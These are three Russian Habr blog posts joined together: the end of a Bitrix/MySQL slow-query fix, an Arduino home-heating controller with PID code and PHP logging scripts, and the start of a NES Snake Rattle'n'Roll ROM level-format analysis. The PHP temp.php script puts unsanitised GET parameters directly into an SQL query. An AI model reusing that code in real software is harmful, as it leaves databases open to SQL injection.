AND ((((BS.IBLOCK_ID = '9'))))
AND ((((BS.DEPTH_LEVEL <= '1'))))
AND ((((B.ID = '9'))))
AND ((
B.ID IN (
SELECT IBLOCK_ID
FROM b_iblock_group IBG
WHERE IBG.GROUP_ID IN (2)
AND IBG.PERMISSION >= 'R'
AND (IBG.PERMISSION='X' OR B.ACTIVE='Y')
)
OR (B.RIGHTS_MODE = 'E' AND EXISTS (
SELECT SR.SECTION_ID
FROM b_iblock_section_right SR
INNER JOIN b_iblock_right IBR ON IBR.ID = SR.RIGHT_ID
INNER JOIN b_user_access UA ON UA.ACCESS_CODE = IBR.GROUP_CODE AND UA.USER_ID = 0
WHERE SR.SECTION_ID = BS.ID
AND IBR.OP_SREAD = 'Y'
))
))
GROUP BY BS.ID, B.ID
ORDER BY BS.LEFT_MARGIN asc;
```
Сперва меня не смутило, что на боевом сервере, этот запрос выполнялся за 300+ сек, а на локальной машине за 20+, и подумал, что причиной этому недостаточная нагрузку на сайт. Т.е. на боевом сайте в минуту посещение было 20чел\ в минуту, а на локальной копии запросы делал лишь я один. Решил воспользоваться утилитой Jmeter (см. ниже).
После запуска данного теста в 20 запросов, решил открыть сайт в браузере и сразу получил следующую ошибку: **Incorrect key file for table** /tmp/\*. Как оказалось на каждый запрос sql мускуль создавал временные таблицы на диске во временной папке, а места не хватало. Т.к. не силен в принципе работы MySql пошел с вопросом к всезнающему гуглу (а у вас был хоть один день без обращения к поиску?!), который объяснил следующее:
*если в выборке содержится поля типа **TEXT/BLOB**, то бд будет создавать временные таблицы на диске*
И великий помощник как всегда оказался прав! В таблице **b\_iblock\_section**, оказалось парочку таких полей (см. справа), а именно **DESCRIPTION** и **SEARCHABLE\_CONTENT**.
Изъяв эти поля из запроса и переписав его (см.ниже), удалось выиграть в скорости в несколько раз! В итоге запрос вместо 20+ сек на локальной машине стал возвращать результат через 1.5 сек. Однако радоваться было рано. т. к. этот запрос в бд формировался в системном файле битрикса **/bitrix/modules/iblock/classes/mysql/iblocksection.php**. К сожалению, не нашел ничего лучше, кроме как исправить его, хотя в курсе, что в при первом же обновлении ядра битрикса моя правка может затереться. Но на тот момент я уже боролся с этим сайтом 3 день подряд и время шло к вечеру воскресенья. Так и оставил это хозяйство…
**Было**
```
BS.*,
...
```
**Стало**
```
BS.ID,
BS.TIMESTAMP_X,
BS.MODIFIED_BY,
BS.DATE_CREATE,
BS.CREATED_BY,
BS.IBLOCK_ID,
BS.IBLOCK_SECTION_ID,
BS.ACTIVE,
BS.GLOBAL_ACTIVE,
BS.SORT,
BS.NAME,
BS.PICTURE,
BS.LEFT_MARGIN,
BS.RIGHT_MARGIN,
BS.DEPTH_LEVEL,
BS.CODE,
BS.XML_ID,
BS.TMP_ID,
BS.DETAIL_PICTURE,
BS.SOCNET_GROUP_ID,
...
```
Однако, и тут радоваться было рано. Когда залил правки на боевой сайт, результат стал стал лучше, но далек от желаемого (300 сек –-> 100+ сек). Просидев какое-то время в недоумении и поматерившись про себя, решил попробовать отработать предположение о разнице версий mysql на боевом сервера и на локальной машине. Можно подумать, что дело в настройках самой бд, однако я отсек этот пункт еще вначале пути, когда выставил такие же настройки, что и на боевой машине. Оставалось только обновиться с версии **5.5.\*** до **5.6.35** на сервере (последняя доступная версия mysql на машине). На этот шаг возлагал большие надежды, поскольку идеи и предположения, в чем могло быть дело, иссякли. Да и жалко было выходные, которые потратил на поиск и решение проблемы. Вместе с выходными заканчивались и мои нервы… Но как же я был рад, когда после обновления бд все заработало как нужно было, цифры в логах запросов были идентичны цифрам на локальной машине, да и сайт стал просто летать. Радости не было предела, ее хватило на двоих: меня и мою девушку, которая поняла, что остаток выходных проведу все-таки с ней, а не за экраном монитора.
Какие же методы сделал для себя:
* тестирование и выявление проблемы на локальном компьютере логично проводить в условиях приближенным к боевым. К сожалению, об этом додумался несколько часов спустя, обновляя одиночными запросами страницу сайта;
* иногда проще обновить используемые компоненты. Например, это помогло в моем многодневном квесте, правда жаль, что додумался об этом только в конце эпопеи.
* Спустя какое-то время считаю, что лучше было бы проанализировать системные файлы CMS для создания нескольких sql-запросов в бд, которые бы очистили злополучную таблицу b\_sale\_fuser и связанные с ней данные. А то сидел и ждал, пока системными методами удаляются записи по штуке за проход…
* лучше потратить время на изучения инструментов с которыми работаешь. В моем случае пойду почитаю книгу по MySql, чтобы новые проблемы не были для меня необъяснимым фокусом.
Благодарю всех, кто уделил свое время. Будет здорово, если оставите конструктивную критику или советы.
**P.S.** По окончанию второго дня мучений вспомнил рассказ «Старик и море», и задумался, что мои потуги также не будут вознаграждены, но все обошлось.
**P.P.S.** Чтобы скорость удаления данных возрасла из таблицы **b\_sale\_fuser** и других связанных с ней, можно было удалить из них индексы, а после актуализации вновь добавить. | https://habr.com/ru/post/351676/ | null | ru | null |
# Отопление загородного дома на arduino с передачей данных в internet
Мне хотелось бы представить очередной пример использования Arduino в реальных задачах. Тут я представлю максимально простой, но реально работающий проект регулировки отопления дома с помощью электрокотла на базе Arduino. Я очень надеюсь, что эта статья поможет кому-то отбросить страхи и попробовать самостоятельно применить свои руки по назначению, это очень здорово тренирует руки, мозги и даёт редкое чувство удовлетворения созданием чего-то интересного. Начав работать с этим контроллером, я до сих пор нахожусь в некотором замешательстве от возможностей, открывающихся при его использовании.
История
-------
Почему, собственно, Arduino? Простота, доступность, масса документации и библиотек. Как, наверное, многие, я долго присматривался к Arduino, с детства люблю всякие батарейки и моторчики, а тут новый уровень, полноценный язык программирования и куча возможностей ввода-вывода. Когда его начали выпускать наши “наиболее вероятные экономические партнёры”, цены на него упали до приемлемого уровня. В результате купил старт кит и, вдоволь наморгавшись светодиодами и индикаторами, поимел желание применить его где-то по хозяйству.
Что отапливаем
--------------
У меня бабушка живёт в деревенском доме под Москвой, там нет ни нормального водоснабжения, ни газа, ни отопления, а решение всех этих задач требует больших капиталовложений либо приложения рук. Вот тут и виделось место, где можно полноценно использовать arduino, есть где развернуться. Самый большой плюс деревенского дома в том, что он традиционно не большой и очень простой. Так и мой — типичный дом крестьянской семьи середины 20-го века, представляет из себя бревенчатый сруб с одной большой комнатой и кухней. Других отапливаемых помещений нет, что для нас плюс, достаточно поддерживать и контролировать температуру в единственной комнате.
Отопление
---------
Оборудование для отопления. Традиционно в доме было печное отопление. Одна “немецкая” печь в комнате (греет за счёт длинной извилистой трубы), вторая “русская” на кухне (греет за счёт больших размеров самой топки). Если кто-то витает в киношных представлениях, что печь это классно и к тому же натурально и романтично, то беру на себя смелость предположить, что эти люди никогда не жили в доме с печным отоплением. На самом деле, это не очень комфортно, неудобно и пожароопасно. Поэтому лет 5 назад был заказан и осуществлён проект по разводке простейшего двухтрубного отопления с газовым котлом. Питать котёл предполагалось из газовых баллонов.
Впоследствии решено было систему модернизировать, добавить насос для принудительной рециркуляции теплоносителя и небольшой 2-киловаттный электрокотёл, чтобы не мучиться с разжиганием газа, когда ещё не очень холодно. Вся автоматизация сводилась к наличию большого рубильника на стене, когда становилось холодновато, его включали, а когда жарковато — выключали. Двух киловатт хватало где-то до температуры 0°C, дальше приходилось зажигать газ или печь, что было крайне неудобно.
Экономическая целесообразность
------------------------------
Перед тем как что-либо менять, естественно, было решено посчитать, имеет ли вообще вся эта задумка смысл. Просчитав по опыту расход газа из баллонов, прикинув ожидаемый расход дизтоплива, я пришёл к выводу, что в таких типах отопления нет никакого смысла при наличии достаточного количества электроэнергии. По цене баллоны выходили где то 6-7 тыс в месяц, дизтопливо, если покупать что-то палёное или летнее зимой, можно наэкономить до расхода 5 тысяч в месяц, при этом на чистой электроэнергии получалось 7 тыс. Прибавим сюда стоимость котла, постоянные таскания баллонов и запах от саляры, и станет ясно, что электричество куда проще и вовсе не дороже. Ещё, конечно, есть модные в последнее время пеллетные горелки, но они мне не подходили, так как они не умеют зажигаться сами и потому имеют минимальную мощность, при том совсем не малую (порядка 5кВт), которую 90% времени просто некуда девать, и требуют хотя бы 2 раза в неделю засыпать топливо, что иногда делать некому. Да и стоимость самих котлов на порядок больше предыдущих вариантов, поэтому они подходят для больших домов, где нужна большая мощность и большие затраты, а не в моём случае.
Heavy hardware
--------------
Попытался прикинуть требуемую мощность исходя из расхода газа и других прикидок, получилось, что надо 4-5 кВт, с запасом 6. Обзор рынка показал, что существует модель электрокотла, аналогичная уже установленному, но с 3-мя нагревательными элементами по 2 кВт каждый. При том продавалась она без управления, что мне было даже удобнее и дешевле. Вообще, сам котёл это крайне простая конструкция, металлический цилиндр с входной и выходной трубами, сверху притянутая болтами крышка, в которой закреплены ТЭНы. Дополнительно в корпус врезаны 2 датчика, резистивный датчик температуры и датчик, замыкающийся при перегреве, оба от системы охлаждения авто. Теперь встал вопрос о электроэнергии. Моя ситуация упрощалась тем, что рядом с домом находится мастерская, к которой подведены 3 фазы (в народе — 380). Естественно, возник соблазн питать каждый ТЭН от своей фазы, поэтому был куплен и проложен в котельную специализированный 4-жильный кабель в металлической оплётке для подземной укладки. Кабель введён в щиток с последовательно включенными УЗО и блоком из 3-х автоматов по 10А. Далее кабель шёл уже непосредственно в щиток с arduino и уже оттуда к элетрокотлу.
Light hardware
--------------
Понятно, что управлять ТЭНами будем с arduino, вопрос — как? Придерживаясь принципа — чем проще, тем надежнее, будем их просто включать или выключать с помощью реле безо всяких переходных вариантов. Облазив алиэкспресс, нашёл блок реле для ардуино, который может управлять сразу 5-ю силовыми линиями. Одна беда, максимальный ток, который эти реле могут выдерживать — 10А, а у меня получается 2кВт / 220В ~ 9А. То есть практически максимум, а желательно иметь запас хотя бы 25%. Однако решил рискнуть. Реле честно продержались почти неделю, затем просто начали плавиться. Надо было что-то решать и быстро, ибо была зима и останавливать отопление было нельзя. Потому были прикуплены 30А реле, правда, с обмотками на 12В. Поэтому быстренько припаял к каждому реле по транзистору, чтобы включать их от 5В ардуино.
Схема неплохо работала почти месяц, а потом я заметил, что дома как-то слишком жарко. Проверка показала, что одно реле “запало” в включенном положении. Постучал по нему — заработало опять, но хватило на несколько дней. Поменял его в надежде, что это брак, но уже через неделю то же самое случилось со 2-м реле. Поставив последнее запасное, отправился опять на али. Там были обнаружены специализированные реле для ардуино на 40А! Этих-то должно хватить наверняка, подумал я. Пара-тройка недель ожидания, и вот опять выкидываю транзисторы и ставлю новые реле с уже готовой обвязкой и индикацией. Радость была недолгой, недели через 2-3 опять залипшее реле. Начал изучать вопрос, оказывается, чтобы уменьшить нагрузку на реле и убрать искрение контактов, реле надо включать не как попало, а в момент, когда синусоида напряжения проходит через 0. Ну, в теории это можно сделать с помощью нашего же ардуино, только на подключить через делить все три фазы и смотреть напряжение. Проблема ещё и в том, что реле имеет некоторое время реагирования и, собственно, нам ещё надо его установить опытным путём. В общем, задачка не такая простая.
И тут я наталкиваюсь на так называемые Solid State Relay, проще говоря — электросхемка, собранная на мощном тиристоре, в корпусе, похожем на обычное реле. Из его плюсов — нет механики, ничего не залипнет. Не создаёт мощных ЭМ-помех, что важно для ethernet’a, о котором ниже. Они уже содержат схему, которая включает и отключает реле при проходе нуля. На реле есть индикатор включения. Ну и ещё они беззвучные, хотя для нашего случае это не так и актуально. После изучения инструкций и характеристик были заказаны SSR-40DA, что по-русски означает — твёрдотельное реле с постоянным управляющим током 3-5В и током нагрузки до 40А. Заодно решил немного отойти от принципа «проще-лучше» и сделать ещё контроль тока в ТЭНах. Это позволило бы узнать о перегоревшем ТЭНе/реле или отключении питания на одной из фаз. Добавил в заказ модуль контроля тока на 20А, хотя выглядели они хлипковато для такого тока (2.5 квадрата кабель даже не лез в их зажим). Когда реле и модули измерения тока пришли, оказалось, что реле достаточно громоздкие, поэтому было решено перенести всё, что связано с высоковольтной частью в новый ящик, а ардуино оставить в старом.
После первых экспериментов оказалось, что я совершенно забыл, что эти реле, так как собраны на тиристорах, довольно сильно греются. Через сутки работы реле нагревались так, что я не мог терпеть, держа на них палец, то есть градусов 60C, а это уже близко к критическим 80C. Опять полез на али, прикидывая, какие радиаторы приспособить, и тут узнал, что для этих SSR есть штатные радиаторы! На момент установки радиаторов также обнаружил, что один модуль контроля тока сам ток больше не пропускает, а со стороны платы видна подгорелая дорожка. Ещё один модуль также не вызывал уверенности, решил снять их все. В таком виде они всё же слабоваты и опасны, а толку от них не так и много. Проблему отключения фаз или ТЭНов пока отложил как не очень актуальную, за 3 года ни первого, ни второго не случалось не разу.
Теперь о ПО
-----------
Arduino
-------
Сразу же в примерах был найден кусок, который позволял управлять средней мощностью, имея двоичное управление — вкл и выкл. Смысл простой, берём некое окно времени, скажем, 1 минута, и в цикле включаем либо выключаем нагрузку в зависимости от пройденного времени. То есть, если нам надо 50% мощности, то включаем нагрузку в первые 30 сек и выключаем в последние 30, затем цикл повторяется. Быстренько переделал это под 3 независимых реле, если мощность больше 33%, то включаю второе реле, если больше 66% — то третье, а первое включаю и выключаю по основному алгоритму. Теперь встаёт главный вопрос, а по какому алгоритму подбирать мощность? Будучи программистом по профессии сначала решил, что задачка довольно простая, холодно — добавляй, тепло — отбавляй, и попытался прикинуть всё это в уме.
Оказалось, не так и просто. Полез смотреть, как это делают в продаваемых системах, оказалось, там всё либо максимально просто, как в утюге — +1C = выкл, -1 = вкл. Но тогда мы получаем почти 4C колебаний из-за инертности системы! Это слишком грубо, ибо мы можем получать данные с точностью до десятой доли градуса. Также посмотрел алгоритмы работы с использованием температуры уличного воздуха, они оказались достаточно простые и работали на готовых таблицах, которые были заранее зашиты и просто менялись в зависимости от теплопотерь дома. Копая глубже и глубже, я докопался до промышленных установок, в них повсеместно использовали алгоритмы PID-регуляторов. И, о слава популярности, оказывается, у Arduino есть бесплатная PID-библиотека!
Пару слов о том, что такое PID применительно к нашему случаю. Смысл алгоритма в том, что мы сообщаем ему требуемое значение некоторого параметра (температура внутри дома) и в цикле передаём текущее значение, а он выдаёт нам необходимое воздействие (мощность, которую надо подать на котёл). Не вдаваясь в подробности математической модели, как же он работает с точки зрения программиста. Итак, мы имеем температуру в комнате, пусть 20C, желательную температуру 22С, и даём их нашему PID-алгоритму.
Сам алгоритм имеет 3 независимые части, по имени P, I и D. Первая часть работает крайне просто, смотрит на разницу между желательной температурой и текущей температурами. То есть чем холоднее, тем большую мощность нам даст алгоритм. Вроде бы, этого и достаточно, но ведь у нас есть постоянные теплопотери дома, то есть, чтобы держать нужную температуру, нам надо постоянно давать какую-то мощность. То есть даже если температура в комнате равна заданной, нельзя отключать котёл, а надо как-то искать какую-то мощность, равную теплопотерям. А теплопотери меняются в зависимости от температуры на улице. Вот этим и занимается вторая часть под именем I. Алгоритм пытается подобрать мощность, при которой наша температура будет постоянной. И вроде тут-то уже точно всё, но нет.
Дело в том, что сам котёл, теплоноситель, а тем более дом имеют очень большую инертность. И если вы врубили котёл на 100%, то снижать мощность нужно куда раньше, чем температура достигнет желательной, иначе даже при полном отключении мы всё равно успеем перегреть комнату градуса на 2. То же самое при понижении температуры, добавлять мощность надо ещё до того, как температура дошла до нужной. Вот этим и занимается третья часть алгоритма D. Ну теперь, конечно, всё, осталось только понять, какой части давать какой вес, а вот этим занимаются множители каждой части, которые и надо подбирать. Кстати, подбор этих множителей — отдельная и довольно сложная математическая задача, я подбирал их “на глаз”, вспоминая сказанное выше. Сначала ставил все нули, кроме P, и подбирал его так, чтобы не началось само возбуждение. Потом добавлял I, а в конце и D.
Меряем температуру
------------------
Для измерения температуры всё на том же волшебном сайте были заказаны цифровые датчики температуры на базе DS18B20. Датчик сам по себе просто замечательный, его не надо ни калибровать, ни как-то настраивать, при этом он может мерить температуру с заданной точностью, а общается с Arduino по протоколу OneWier. То есть на 3 провода длиной до 50 метров можно вешать практически неограниченное число датчиков. При желании их можно даже не питать, а работать только по 2-м проводам (на самом деле, они питаются, но от провода с сигналом), но работают медленнее. В моём случае датчики я заказал в герметичном корпусе, а соединял обычной витой парой. Я поставил 3 датчика, один в котельной, один в доме, в комнате, и один на чердаке под потолком, чердак никак не отапливается и там я получаю температуру на улице.
Список закупленного железа
--------------------------
— Плата arduino. Я использовал UNO r3. Цена около 350 р.
— Ethernet Shield, около 500 р.
— Витая пара (смотря сколько надо), бухта в 305м обойдётся около 4 тыс.
— Датчики температуры, около 200 р.
— Блок питания на 110-240 — 12В 2А, 420 р.
— Стабилизатор LM7805, где-то 20 р.
— Реле SSR-40DA 3 шт. по 330 р.
— Радиаторы для реле по 200 р.
То есть, не считая витой пары и самого котла, весь проект укладывается в 4 тысячи рублей.
Складываем данные в базу и показываем.
Но всё это, конечно, хорошо, но не стоять же постоянно с компьютером рядом с котлом, всё же хотелось бы знать о том, что происходит дома, удалённо через инет. У меня давно уже был самый простенький VPS сервер от majordomo для чего попало. На нём создал базу данных на MySQL для хранения данных о температуре.
Теперь нам надо как-то положить данные из arduino в эту базу. Для этого, естественно, понадобится как минимум связать arduino с интернетом, это не просто, а очень просто. Для этого нам и понадобится Ethernet Shield и его библиотека. В доме давно уже установлен простенький роутер со “свистком” сначала от megafon, а потом от yota. Тянем стандартную витую пару к роутеру и добавляем в программу передачу данных. Передача идёт через вызов странички на PHP с параметрами — данными. Создаём страничку с именем temp.php на нашем инет-сервере
```
php
$dbhost = 'localhost';
$dbuser = '***';
$dbpass = '***';
$dbname = 'nikolaarduino';
$client_ip = $_SERVER['REMOTE_ADDR'];
$temp1 = $_GET["t1"];
$temp2 = $_GET["t2"];
$temp3 = $_GET["t3"];
$power = $_GET["p"];
$connect = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $connect )
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db ($dbname, $connect);
$sql = "INSERT INTO Temp (datetime, temp1, temp2, temp3, power, ip) VALUES (Now(), '$temp1', '$temp2', '$temp3', '$power', '$client_ip')";
if(!mysql_query($sql))
{echo '<p**Data upload error!**';}
else
{echo '**OK**
';}
mysql_close($connect);
?>
```
После этого мы имеем данные о температурах и мощности работы котла, чтобы каждый раз не лазить в базу, а посмотреть последние данные, написал “временный” скриптик на php, но, как известно, нет ничего более постоянного, чем временные вещи, так им и пользуюсь.
gettemp.php
```
php
$dbhost = 'localhost';
$dbuser = '***';
$dbpass = '***';
$dbname = 'nikolaarduino';
$client_ip = $_SERVER['REMOTE_ADDR'];
$connect = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $connect )
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db ($dbname, $connect);
$query = 'SELECT * FROM Temp WHERE id=(SELECT MAX(ID) FROM Temp)';
$result = mysql_query($query) or die('Error get data: ' . mysql_error());
echo "<table style='text-align: left; width: 100%;' border='1' cellpadding='2' cellspacing='2'\n";
while ($line = mysql_fetch_array($result, MYSQL_NUM)) {
echo "| $line[1] |
";
echo "| TempIN = $line[2] | TempOUT = $line[3] |
\n";
echo "| TempKotel = $line[4] |
\n";
echo "| Power = $line[5] |
\n";
}
echo "\n";
mysql_free_result($result);
mysql_close($connect);
?>
```
Что хочется добавить в будущем
------------------------------
Конечно, это, в принципе, минимум, который однако позволяет сделать полноценное и достаточно удобное управление отоплением в небольшом доме. Хотя с некоторыми переделками его можно использовать и в многокомнатных и вообще строениях любой сложности, arduino может тут очень многое, если не всё. Именно в этом проекте хотелось бы добавить в будущем:
* регулятор температуры. Хотя практика показала, что 22.5 это вполне оптимальное значение и в принципе не требует корректировки. Опять же, регулятор хотелось бы сделать удалённо от основного arduino, но для этого надо либо сложную схему, либо ещё один arduino. В общем, есть о чём подумать.
* Хотелось бы возможность не только читать температуру, но и менять параметры PID на лету. Возможно, сделать отдельно режим “первоначального прогрева”, а то параметр I долго нормализуется после каждого перезапуска программы.
* Хочется простенькое приложение под android, чтобы на телефоне не тыкать в мелкий браузер. Это самое простое и уже в процессе.
* Всё же подключить датчик температуры теплоносителя и передавать его данные, как и другие данные температуры.
* Сигнализация аварийных случаев. То есть автоматически определять потерю напряжения на линиях, отказ реле или ТЭНов.
* Сделать “карусель”, менять местами назначения ТЭНов. Иначе получается, что один ТЭН работает всегда больше других, и он в теории должен отказать первым. Надо просто время от времени менять PIN’ы в программке. Вроде просто, но никак не дойдут руки добавить.
Текст программы для Arduino:
```
#include
#include
#include
#include
#include
#include
// OneWire DS18S20, DS18B20, DS1822 Temperature Example
//
// http://www.pjrc.com/teensy/td\_libs\_OneWire.html
//
// The DallasTemperature library can do all this work for you!
// http://milesburton.com/Dallas\_Temperature\_Control\_Library
OneWire ds(6); // on pin 10 (a 4.7K resistor is necessary)
DallasTemperature sensors(&ds);
boolean waithTemp = false;
int TEMPERATURE\_PRECISION = 10;
int lamp1 = 7;
int lamp2 = 8;
int lamp3 = 9;
DeviceAddress IntThermometer = { 0x28, 0x8E, 0xF4, 0x28, 0x05, 0x00, 0x00, 0x07 };
DeviceAddress OutThermometer = { 0x28, 0x65, 0x15, 0x32, 0x05, 0x00, 0x00, 0xE2 };
DeviceAddress KatThermometer = { 0x28, 0x61, 0x43, 0x28, 0x05, 0x00, 0x00, 0x14 };
byte addr[8];
unsigned long StartTime = 0;
unsigned long WorkWindow = 60000; // 10min
unsigned long WorkTime, TenTime;
float maxData = 100;
float celsius, temp;
double Setpoint, Input, Output;
int ThermometerCount;
DeviceAddress Thermometer[100];
PID myPID(&Input, &Output, &Setpoint, 10, 0.1, 5, DIRECT); //0.000006 0.03 40
double targetTemp = 22.5;
byte mac[] = { 0xE0, 0x69, 0x95, 0x72, 0x65, 0xE8 };
byte ip[] = { 192, 168, 1, 100 };
byte server[] = { ?, ?, ?, ? };
EthernetClient client;
byte webskipcount = 10;
byte webcount = 0;
void setup(void) {
Serial.begin(9600);
//Ethernet.begin(mac, ip);
Ethernet.begin(mac);
sensors.begin();
pinMode(lamp1, OUTPUT);
pinMode(lamp2, OUTPUT);
pinMode(lamp3, OUTPUT);
Setpoint = targetTemp;
myPID.SetOutputLimits(0, maxData);
myPID.SetMode(AUTOMATIC);
celsius = targetTemp;
StartTime = millis();
}
long filter(long x, long Nb, long k) {
static long y = 0, z = 0;
z += (x - y);
return y = (Nb \* z) >> k;
};
void loop(void) {
byte i;
byte type\_s;
byte data[12];
long Out;
if (millis() < StartTime) {
StartTime = millis();
}
WorkTime = millis() - StartTime;
if (WorkTime > WorkWindow) {
WorkTime = WorkTime - WorkWindow;
StartTime = millis() + WorkTime;
}
//Serial.println("cycle");
sensors.requestTemperatures();
celsius = sensors.getTempC(IntThermometer);
Input = celsius;
if (webcount >= webskipcount) {
char buffer[10];
String temperatureS1 = dtostrf(celsius, 2, 2, buffer);
String temperatureS2 = dtostrf(sensors.getTempC(OutThermometer), 2, 2, buffer);
String temperatureS3 = dtostrf(sensors.getTempC(KatThermometer), 2, 2, buffer);
String OutputPowerS = dtostrf(Output, 2, 2, buffer);
String msg = "GET /temp.php?t1="+ temperatureS1 + "&t2=" + temperatureS2 + "&t3=" + temperatureS3 + "&p="+OutputPowerS;
Serial.println(msg);
client.connect(server, 80);
client.println(msg);
client.stop();
webcount = 0;
} else {
webcount += 1;
}
myPID.Compute();
//Serial.print(Input);Serial.print(" ");Serial.print(Output);Serial.print(" ");Serial.println(Setpoint);
if (Output > maxData/3\*2) {
digitalWrite(lamp1, HIGH);
digitalWrite(lamp2, HIGH);
Out = Output - maxData/3\*2;
} else if (Output > maxData/3) {
digitalWrite(lamp1, HIGH);
digitalWrite(lamp2, LOW);
Out = Output - maxData/3;
} else {
digitalWrite(lamp1, LOW);
digitalWrite(lamp2, LOW);
Out = Output;
}
TenTime = map(Out, 0, maxData/3, 0, WorkWindow);
Serial.print(celsius);
Serial.print(" ");
Serial.print(sensors.getTempC(OutThermometer));
Serial.print(" ");
Serial.print(sensors.getTempC(KatThermometer));
Serial.print(" ");
Serial.print(Output);
Serial.print(" ");
Serial.print(TenTime);
Serial.print(" ");
Serial.println(WorkTime);
if (WorkTime < TenTime) {
digitalWrite(lamp3, HIGH);
}
if (WorkTime > TenTime) {
digitalWrite(lamp3, LOW);
}
}
``` | https://habr.com/ru/post/364989/ | null | ru | null |
# Хранение мира в Snake Rattle'n'Roll
Много лет назад мне довелось поиграть на Dendy в игру **Snake Rattle'n'Roll**. Пройти её мне тогда так и не удалось, из-за широко известного в узких кругах [бага](https://cah4e3.wordpress.com/2009/08/16/%D0%BD%D0%B5%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE-%D0%B8%D1%81%D1%82%D0%BE%D1%80%D0%B8%D0%B8/) с фонтанчиком на 7 уровне. Да, и на данный момент игра так и не пройдена. Прогресс пока остановился на последнем уровне из-за его сложности. Игра сама по себе для NES была достаточно нестандартна. Это был изометрический мир, в котором надо было карабкаться верх, по пути собирая бонусы, поедая ниблов (местная живность) и сражаясь с ногами, шашками и прочими грибами. Вроде бы ничего необычного, но продвигаясь дальше по уровням я замечал, что мир хоть и был разбит на уровни, но был единым целым, просто каждый из уровней происходил в другой ограниченной части этого мира. И вот однажды мне захотелось получить 3D модель данного мира, с целью распечатать себе сувенир на 3D принтере. Учитывая характеристики железа NES я представлял, что это будет не очень просто, как оно оказалось на самом деле судить вам. Итак, если вас заинтересовало исследование этого мира — добро пожаловать под кат.
### 0. Ориентир
В качестве ориентира возьмем такую картинку, разрешение у неё 2000x4000 поэтому спрячу пад спойлер.
**Мир Snake Rattle'n'Roll**
[](https://habrastorage.org/webt/ij/hy/vg/ijhyvghwkarvm-fcq-ijunptwgm.png)
Автора к сожалению не знаю, но сделано супер!..
### 1. Поиск чужих наработок
Учитывая, что у меня нет опыта в разборе ассемблера процессора **MOS6502**, который использовался в NES, я решил поискать, не выложил ли уже кто адреса по которым хранится уровень и его формат. Всё что я смог найти (два года назад, надо заметить, может сейчас что-то изменилось) был сайт <http://datacrystal.romhacking.net/wiki/Snake_Rattle_N_Roll:ROM_map>,
откуда мы можем предположить, что уровень у нас имеет размеры 64х64 и каждый блок закодирован одним байтом. Всего получается четыре килобайта на уровень. Один байт это вроде мало, но если там кодировать только высоту блока, может можно будет ещё пару бит выделить на какие нибудь флаги. Так я думал…
Итак открываем ROM файл, идем по смещению 0x63D0 смотрим, что там хранится:
`000063D0 13 04 04 04 04 00 00 00 00 00 00 00 00 01 00 00
000063E0 00 00 00 01 01 01 00 00 00 00 01 01 01 01 01 00
000063F0 00 00 00 00 00 00 00 00 01 01 01 01 01 01 01 01
00006400 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 2A
00006410 13 04 04 04 04 01 01 01 01 01 00 00 00 00 00 00
00006420 00 00 00 00 01 01 01 01 01 01 01 01 01 01 01 01
00006430 00 00 2A 00 00 00 01 01 01 01 01 01 01 01 01 01
00006440 01 01 01 00 00 00 01 01 01 00 00 00 00 00 00 00
00006450 13 04 04 04 04 01 01 01 2A 01 01 00 00 00 00 00
00006460 00 00 00 00 00 01 01 2A 01 01 01 01 01 01 01 01
00006470 00 00 00 00 00 01 01 01 01 00 00 00 01 01 01 01
00006480 01 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00
00006490 13 04 04 04 04 01 01 01 01 01 01 01 01 01 00 00
000064A0 00 00 00 00 00 00 01 01 01 01 01 01 01 01 01 01
000064B0 00 00 00 01 01 01 01 01 00 00 00 00 00 00 01 01
000064C0 01 01 01 01 01 01 2A 01 01 01 01 01 01 00 00 00
000064D0 13 04 04 04 04 01 01 01 2A 01 01 01 01 01 01 00
000064E0 00 00 00 00 00 00 01 01 01 01 01 01 01 01 01 01
000064F0 01 01 01 01 01 01 2A 01 00 00 00 00 00 00 04 01
00006500 01 01 01 01 01 01 01 01 01 01 01 01 01 01 00 00
00006510 13 04 04 04 04 01 01 01 01 01 01 01 01 01 01 00
00006520 00 00 00 00 00 01 01 01 01 01 01 2A 01 01 01 13
00006530 13 05 05 05 05 01 01 01 00 00 00 00 00 02 1E 04
00006540 01 01 01 01 01 01 01 01 01 01 01 01 01 00 00 00
00006550 13 13 0C 0C 0C 05 05 05 05 05 05 05 05 05 04 22
00006560 22 04 01 01 01 01 01 01 01 01 01 01 01 01 13 13
00006570 4A 0F 0F 0F 0F 05 05 05 1A 1A 1A 1A 13 2F 13 1B
00006580 05 05 05 01 01 01 01 01 01 01 01 00 00 00 00 00`
Если предположить что уровень строится от левого нижнего угла то вроде бы всё сходится. Чтобы было наглядней, приведу начало каждой строки в обратном порядке по вертикали:
`13 13 0C 0C 0C 05 05 05
13 04 04 04 04 01 01 01
13 04 04 04 04 01 01 01
13 04 04 04 04 01 01 01
13 04 04 04 04 01 01 01
13 04 04 04 04 01 01 01
13 04 04 04 04 00 00 00`
Если сравнить со скриншотом в начале этой части, то можно увидеть закономерность. Отлично, подумал я, и решил это дело визуализировать.
### 2. Первая попытка визуализации
Встал вопрос, чем визуализировать. Связываться с каким либо форматом файла мне не особо хотелось, хотелось побыстрей проверить, что всё правильно. Посмотрев список установленных программ, я нашёл только две, которые могли бы помочь. Как ни странно это **Excel**, в котором можно построить диаграмму из столбов по каждому ряду, и **3D Studio Max**. Он содержит язык макросов, и можно написать программу, которая по данным из файла генерирует макрос построение геометрии. Так я и сделал. С макросами в 3D Studio я не работал, но посмотрел при помощи инструмента их записи, как и что, устроено. Я накидал простую программу. Запустил, получил скрипт для макса и… И получилось совсем не то, что я ожидал.
**Для тех кому интересен код**
```
#include
#include
#include
uint8\_t map[4096];
void read\_world();
void genBox(uint8\_t x, uint8\_t y, uint16\_t high);
uint8\_t getHigh(uint8\_t x, uint8\_t y);
FILE \* max\_out;
int main(){
read\_world();
max\_out = fopen("level.ms", "w");
for(uint8\_t y=0; y<64; y++){
for(uint8\_t x=0; x<64; x++){
genBox(x, y, getHigh(x,y));
}
}
fclose(max\_out);
return 0;
}
uint8\_t getHigh(uint8\_t x, uint8\_t y){
return map[y\*64 + x];
}
void genBox(uint8\_t x, uint8\_t y, uint16\_t high){
uint8\_t color;
uint8\_t color\_map[2][2] = {{1,0}, {0,1}};
